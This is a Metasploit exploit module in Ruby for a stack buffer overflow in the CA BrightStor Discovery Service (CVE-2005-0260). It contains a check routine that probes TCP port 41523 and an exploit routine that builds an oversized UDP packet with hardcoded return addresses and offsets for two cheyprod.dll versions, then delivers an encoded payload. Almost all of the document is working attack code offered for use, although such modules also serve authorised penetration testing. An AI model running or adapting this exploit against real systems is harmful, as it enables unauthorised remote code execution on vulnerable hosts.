##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Udp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'CA BrightStor Discovery Service Stack Buffer Overflow',
        'Description' => %q{
          This module exploits a vulnerability in the CA BrightStor
          Discovery Service. This vulnerability occurs when a large
          request is sent to UDP port 41524, triggering a stack buffer
          overflow.
        },
        'Author' => [ 'hdm', 'aushack' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2005-0260'],
          [ 'OSVDB', '13613'],
          [ 'BID', '12491'],
          [ 'URL', 'http://www.idefense.com/application/poi/display?id=194&type=vulnerabilities'],
        ],
        'Privileged' => true,
        'Payload' => {
          'Space' => 2048,
          'BadChars' => "\x00",
          'StackAdjustment' => -3500
        },
        'Targets' => [
          [
            'cheyprod.dll 12/12/2003',
            {
              'Platform' => 'win',
              'Ret' => 0x23808eb0, # call to edi reg
              'Offset' => 968
            },
          ],
          [
            'cheyprod.dll 07/21/2004',
            {
              'Platform' => 'win',
              'Ret' => 0x2380a908, # call edi
              'Offset' => 970
            },
          ],
        ],
        'DisclosureDate' => '2004-12-20',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(41524)
      ]
    )
  end

  def check
    # The first request should have no reply
    csock = Rex::Socket::Tcp.create(
      'PeerHost' => datastore['RHOST'],
      'PeerPort' => 41523,
      'Context' =>
        {
          'Msf' => framework,
          'MsfExploit' => self
        }
    )

    csock.put('META')
    x = csock.get_once(-1, 3)
    csock.close

    # The second request should be replied with the host name
    csock = Rex::Socket::Tcp.create(
      'PeerHost' => datastore['RHOST'],
      'PeerPort' => 41523,
      'Context' =>
        {
          'Msf' => framework,
          'MsfExploit' => self
        }
    )

    csock.put('hMETA')
    y = csock.get_once(-1, 3)
    csock.close

    if (y and !x)
      return Exploit::CheckCode::Detected
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    connect_udp

    print_status("Trying target #{target.name}...")

    buf = rand_text_english(4096)

    # Target 0:
    #
    # esp @ 971
    # ret @ 968
    # edi @ 1046
    # end = 4092

    buf[target['Offset'], 4] = [ target.ret ].pack('V')
    buf[1046, payload.encoded.length] = payload.encoded

    udp_sock.put(buf)
    udp_sock.recvfrom(8192)

    handler
    disconnect_udp
  end
end
